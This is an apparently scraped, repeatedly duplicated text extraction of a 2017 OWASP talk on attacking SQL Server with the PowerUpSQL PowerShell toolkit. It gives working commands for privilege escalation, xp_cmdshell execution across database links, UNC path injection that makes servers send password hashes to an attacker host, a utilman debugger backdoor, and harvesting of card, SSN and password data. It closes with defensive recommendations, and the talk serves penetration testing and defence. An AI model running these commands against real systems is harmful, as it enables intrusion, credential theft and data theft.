Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 61: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 62: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

